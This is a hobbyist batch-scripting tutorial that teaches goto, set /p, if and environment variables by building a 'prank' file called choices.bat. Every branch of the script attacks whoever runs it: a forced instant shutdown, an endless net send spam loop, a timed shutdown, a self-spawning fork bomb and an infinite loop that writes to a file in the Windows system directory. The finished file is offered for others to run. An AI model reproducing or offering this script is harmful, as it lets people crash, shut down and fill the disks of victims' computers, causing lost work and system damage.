Okay as i said in my previous tutorial on batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), i plan to create an expansive 3 part (or take) tutorial on batch. Which should cover most of what you need to know to do what you want with batch.
The file attached below is the competed .bat (batch) file made by me, laconix / inevitable_chaos
Step 1: Formatting My Text, Titles, and Cls
@echo offtitle Choices.. [by laconix]clsecho You have some choices to make..echo ..make the wrong choice though and suffer the consequencs!echo.pause:menuclsecho.echo.echo.echo.echo. echo /------------------------------\echo / Pick a number between 1 and 3 \echo (- 1 .. 2 .. 3 -)echo \ Every choice but one is bad! /echo \------------------------------/
title basically set the title for the command prompt so title instructables.com is cool!
cls just clears the cmd of any input or output
You should know what echo does by now, but echo. creates a newline which is usefull for formatting.
:menu although i've covered this in my previous tutorial it's worth going over again, essentially it creates a point in a program in which you can GOTO at anytime.
The rest of this section is just formatting. :D
Step 2: Initializing Variables, Getting User Input and the If Statement
set choice = nadaecho ?.:What&aposll it be:.?set /p choice= Huh? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Neither 1, 2 or 3 eh? Too bad, bye bye..shutdown -s -f -t 00
set choice = nada, what this is doing is creating or initializing the variable with the initial value or "nada", or nothing. :D A variable is like a container which stores information for you until it's no longer needed or the program closes.
set /p chose=, this is getting the user input, by using the set command with the argument /p which tell the command to have a promptstring. So basically set /p choice=what number? is like asking a question and them typing the answer.
if the if statement works as such. if condition == true dothis
So basically it's saying if %choice% is equal to 1 GOTO one is that is not true it just goes onto the next line.
shutdown -s -f -t 00 just shutsdown their computer forcing all programs to close, instantly.
Step 3: Piping Command, Asynchronous Commands and Environmental Variables
:onemsg * So you chose #1, thought you&aposd be safe?msg * WRONG!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Hope you get this in time, because this was the safe one...shutdown -aGOTO hell:threemsg * This is the safe number...pause:forkstart choices.bat | msg * Memory wipeout!GOTO fork:hellmsg * joke, they&aposre all bad!:textbombecho laconix rules! >> %systemroot%/laconix.txtGOTO :textbomb
Basically just goes into an infinite GOTO loop. Very similar to the the fork bomb example 2 in the first tutorial.
Execute the command shutdown -s -t 10" the pauses, if they don't press a key in time their computer shutsdown, if they make it it aborts and makes them GOTO hell
Tells them that none of them were good, does what i call a text bomb. Which pipes (>>) the command echo laconix rules!' to the %systemroot%/laconix.txt in a\n infinite GOTO loop.
%systemroot% is an environmental variable which tell the file to save in the /windows/ directory no matter the name of the root drive, ie. C;/, E:/, Z:/, et cetera
Tricks them into thinking its the safe number
Goes into a fork bomb similar to that in the first tutorial, but with one main difference. Asynchronous commands; start choices.bat | msg * Memory wipeout! the | denotes asynchronous commands, which basically means they've execute at the same time.
Step 4: What Up? Word!
Thanks for reading my tutorial, hope you like the video. Learnt something.
And I hope you continue interest in computers, and in my instructables.
Keep a heads up for my last tutorial in this series soon!